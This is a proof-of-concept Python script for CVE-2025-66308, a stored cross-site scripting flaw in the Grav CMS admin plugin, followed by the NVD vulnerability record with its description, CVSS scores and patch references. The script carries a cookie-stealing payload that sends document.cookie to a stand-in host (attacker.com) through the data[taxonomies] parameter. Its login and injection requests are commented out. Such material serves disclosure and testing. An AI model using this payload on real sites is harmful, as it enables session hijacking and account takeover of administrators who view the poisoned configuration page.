CVE-2025-66308

# CVE-2025-66308 Stored XSS PoC # Target: Grav CMS admin plugin < 1.11.0-beta.1 # Endpoint: /admin/config/site # Parameter: data[taxonomies] import requests import json target_url = "http://target.com/admin/config/site" login_url = "http://target.com/admin" # XSS payload - Cookie stealing example xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Login to get session cookie session = requests.Session() login_data = { "username": "admin", "password": "password" } # session.post(login_url, data=login_data) # Exploit - Inject XSS via taxonomies parameter config_data = { "data": { "taxonomies": xss_payload } } # Send malicious configuration # response = session.post(target_url, json=config_data) print("XSS Payload injected in taxonomies parameter") print("Payload:", xss_payload) print("Any user viewing /admin/config/site will execute this script")

{"cve": {"id": "CVE-2025-66308", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:50.743", "lastModified": "2025-12-03T21:56:43.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/config/site endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[taxonomies] parameter. The injected payload is stored on the server and automatically executed in the browser of any user who accesses the affected site configuration, resulting in a persistent attack vector. This vulnerability is fixed in 1.11.0-beta.1."}, {"lang": "es", "value": "Este plugin de administración para Grav es una interfaz de usuario HTML que proporciona una forma conveniente de configurar Grav y crear y modificar páginas fácilmente. Versiones anteriores a 1.11.0-beta.1, una vulnerabilidad de cross-site scripting (XSS) almacenado fue identificada en el endpoint /admin/config/site de la aplicación Grav. Esta vulnerabilidad permite a los atacantes inyectar scripts maliciosos en el parámetro data[taxonomies]. La carga útil inyectada se almacena en el servidor y se ejecuta automáticamente en el navegador de cualquier usuario que acceda a la configuración del sitio afectada, lo que resulta en un vector de ataque persistente. Esta vulnerabilidad está corregida en 1.11.0-beta.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.10.50", "matchCriteriaId": "73FB7A1C-A39D-4C67-B437-015016437B77"}]}]}], "references": [{"url": "https://github.com/getgrav/grav-plugin-admin/commit/99f653296504f1d6408510dd2f6f20a45a26f9b0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-gqxx-248x-g29f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-gqxx-248x-g29f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}